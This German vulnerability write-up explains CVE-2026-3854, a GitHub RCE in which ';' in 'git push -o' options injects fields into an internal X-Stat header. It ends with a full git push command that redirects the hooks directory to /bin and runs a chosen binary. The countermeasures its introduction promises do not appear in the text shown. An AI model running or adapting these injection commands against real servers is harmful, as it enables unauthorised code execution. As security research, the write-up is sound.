
Technische Aufschlüsselung von CVE-2026-3854, einer GitHub-RCE über Header-Injection bei `git push`, mit Erläuterung der Schwachstelle, der Ausnutzungstechnik und der Gegenmaßnahmen.
Praktische Zusammenfassung, wie die von Wiz Research im internen git push-Pipeline von GitHub.com und GitHub Enterprise Server entdeckte Schwachstelle funktioniert.
Dieses Material dient ausschließlich Bildungs- und Forschungszwecken im Bereich offensive Security. Die Schwachstelle wurde von GitHub in allen unterstützten Versionen bereits behoben. Versuchen Sie nicht, sie gegen Umgebungen zu reproduzieren, die nicht Ihre eigenen sind oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff auf Systeme ist in Brasilien eine Straftat (Gesetz 12.737/2012, bekannt als Carolina-Dieckmann-Gesetz) und kann als Eindringen in ein Computergerät mit Freiheitsstrafe geahndet werden.
Ein authentifizierter Angreifer erreicht RCE auf GitHub, indem er ; in git push -o sendet. Der Babeld (interner GitHub-Proxy, Einstiegspunkt für sämtliches SSH) bereinigt dies nicht, und das ; bricht den internen X-Stat-Header, wodurch Sicherheitsfelder überschrieben werden, denen das Gitrpcd blind vertraut. Mit 3 Überschreibungen (, , ) verkettet der Pre-Receive-Hook ein beliebiges Binärprogramm des Servers und führt es als Benutzer aus.
rails_envcustom_hooks_dirrepo_pre_receive_hooksgit
Im Grunde können wir in den Header X-Stat schreiben, weil das ; im git push nicht bereinigt wird, und wir tun dies, indem wir auf einen Pfad des Zielservers zeigen, z. B. /bin, und dann können wir es mit einem anderen "Feld" dieses Headers, dem repo_pre_receive_hooks, verketten. Wenn dieses Feld also whoami ist, wird in der Verkettung /bin/ + whoami daraus und es wird direkt auf dem Server ausgeführt.
Nur dass im X-Stat standardmäßig all diese Felder bereits vom Babeld vorausgefüllt sind, da das RPC (gitrpcd) ihm blind vertraut, weil es glaubt, dass der Benutzer sie nicht ändern kann:
Unten ist ein Beispiel, wie der Babeld die Felder im X-Stat ausfüllt:
rails_env=production;
user_id=int:42531;
user_login=paulo.werneck;
repo_id=int:8821;
repo_path=/data/repositories/a/b/cd/ef/12/8821.git;
operator_mode=bool:false;
user_operator_mode=bool:false;
custom_hooks_dir=/data/user/git-hooks;
repo_pre_receive_hooks=[{"id":1,"script":"validate-commit.sh","enforcement":"required"}];
large_blob_rejection_enabled=bool:true;
max_blob_size=int:104857600;
reject_sha_like_refs=bool:true;
push_option_count=int:0
Nur weil er das ; während des git push nicht bereinigt, kannst du direkt hineinschreiben, und um dem Ganzen die Krone aufzusetzen, gilt Last-Write-Wins – die letzte Schreibung zählt. Wenn ich also Folgendes mache:
git push -o "x;rails_env=production" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"
Werden die überschriebenen Felder zu:
custom_hooks_dir=/bin
repo_pre_receive_hooks=whoami
(Es ist nicht so einfach wie im obigen Beispiel, einfach nur whoami hineinzuwerfen. Es ist tatsächlich ein JSON, also würde es eher wie [{"script":"whoami"}] aussehen.)
Und dann, in einer verwundbaren Version, führt er das Binärprogramm whoami auf dem Server aus.
Nur dass er damit allein immer noch nur in der Sandbox läuft. Deshalb ist es wichtig, einen weiteren Parameter im X-Stat-Header zu ändern, das rails_env=production. Es muss irgendetwas anderes als production sein.
Schließlich würde das bösartige Skript so aussehen:
git push -o "x;rails_env=development" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"